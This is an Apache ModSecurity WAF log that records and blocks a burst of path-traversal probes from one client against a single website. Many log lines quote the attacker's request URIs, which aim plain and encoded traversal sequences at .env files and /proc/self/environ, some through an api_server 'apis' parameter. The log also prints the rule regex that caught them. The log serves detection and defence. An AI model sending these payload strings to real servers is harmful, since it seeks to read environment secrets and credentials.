[Mon Oct 26 07:29:12.150546 2026] [security2:error] [pid 3023409:tid 3023409] [client 34.19.176.196:37762] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/.env/public/.env"] [unique_id "at85iLLYATfADedA0a_akAAAACE"]
[Mon Oct 26 07:29:12.150848 2026] [security2:error] [pid 3023409:tid 3023409] [client 34.19.176.196:37762] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/.env/public/.env"] [unique_id "at85iLLYATfADedA0a_akAAAACE"]
[Mon Oct 26 07:29:12.151897 2026] [core:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] AH10244: invalid URI path (/icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/proc/self/environ)
[Mon Oct 26 07:29:12.153245 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at85iN-fnwNv3Luhiy4YTgAAAAE"]
[Mon Oct 26 07:29:12.153298 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at85iN-fnwNv3Luhiy4YTgAAAAE"]
[Mon Oct 26 07:29:12.153471 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at85iN-fnwNv3Luhiy4YTgAAAAE"]
[Mon Oct 26 07:29:12.153707 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at85iN-fnwNv3Luhiy4YTgAAAAE"]
[Mon Oct 26 07:29:12.154809 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at85iDobCwOEb8ifz36PkQAAABQ"]
[Mon Oct 26 07:29:12.154863 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at85iDobCwOEb8ifz36PkQAAABQ"]
[Mon Oct 26 07:29:12.154932 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at85iDobCwOEb8ifz36PkQAAABQ"]
[Mon Oct 26 07:29:12.155069 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at85iDobCwOEb8ifz36PkQAAABQ"]
[Mon Oct 26 07:29:12.155290 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at85iDobCwOEb8ifz36PkQAAABQ"]
[Mon Oct 26 07:29:12.611159 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at85iIAjAiW0BJRhWhrVoQAAAAc"]
[Mon Oct 26 07:29:12.611224 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at85iIAjAiW0BJRhWhrVoQAAAAc"]
[Mon Oct 26 07:29:12.611278 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at85iIAjAiW0BJRhWhrVoQAAAAc"]
[Mon Oct 26 07:29:12.611546 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at85iIAjAiW0BJRhWhrVoQAAAAc"]
[Mon Oct 26 07:29:12.611817 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at85iIAjAiW0BJRhWhrVoQAAAAc"]
[Mon Oct 26 07:29:12.657036 2026] [core:error] [pid 3023409:tid 3023409] [client 34.19.176.196:37762] AH10244: invalid URI path (/%2E%2E/%2E%2E/%2E%2E/%2E%2E/proc/self/environ)
[Mon Oct 26 07:29:12.658614 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at85iN-fnwNv3Luhiy4YTwAAAAE"]
[Mon Oct 26 07:29:12.658658 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at85iN-fnwNv3Luhiy4YTwAAAAE"]
[Mon Oct 26 07:29:12.658705 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at85iN-fnwNv3Luhiy4YTwAAAAE"]
[Mon Oct 26 07:29:12.658910 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at85iN-fnwNv3Luhiy4YTwAAAAE"]
[Mon Oct 26 07:29:12.659157 2026] [core:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] AH10244: invalid URI path (/appearance/../../proc/self/environ)
[Mon Oct 26 07:29:12.659161 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at85iN-fnwNv3Luhiy4YTwAAAAE"]
[Mon Oct 26 07:29:12.660220 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /files../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at85iDobCwOEb8ifz36PkgAAABQ"]
[Mon Oct 26 07:29:12.660262 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /files../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at85iDobCwOEb8ifz36PkgAAABQ"]
[Mon Oct 26 07:29:12.660319 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at85iDobCwOEb8ifz36PkgAAABQ"]
[Mon Oct 26 07:29:12.660468 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at85iDobCwOEb8ifz36PkgAAABQ"]
[Mon Oct 26 07:29:12.660685 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at85iDobCwOEb8ifz36PkgAAABQ"]
[Mon Oct 26 07:29:12.661274 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at85iD2qIoRfAL3Hx22jKQAAAAI"]
[Mon Oct 26 07:29:12.661326 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at85iD2qIoRfAL3Hx22jKQAAAAI"]
[Mon Oct 26 07:29:12.661347 2026] [core:error] [pid 3023393:tid 3023393] [client 34.19.176.196:37668] AH10244: invalid URI path (/%2E%2E/%2E%2E/%2E%2E/%2E%2E/.env)
[Mon Oct 26 07:29:12.661355 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at85iD2qIoRfAL3Hx22jKQAAAAI"]
[Mon Oct 26 07:29:12.661382 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@sense_version&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at85iD2qIoRfAL3Hx22jKQAAAAI"]
[Mon Oct 26 07:29:12.662337 2026] [core:error] [pid 3023394:tid 3023394] [client 34.19.176.196:37654] AH10244: invalid URI path (/static/../../../a/../../../../.env)
[Mon Oct 26 07:29:12.663739 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at85iE5VL05DK7ky7IO-kQAAAA4"]
[Mon Oct 26 07:29:12.663790 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at85iE5VL05DK7ky7IO-kQAAAA4"]
[Mon Oct 26 07:29:12.663820 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at85iE5VL05DK7ky7IO-kQAAAA4"]
[Mon Oct 26 07:29:12.663868 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@sense_version&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at85iE5VL05DK7ky7IO-kQAAAA4"]
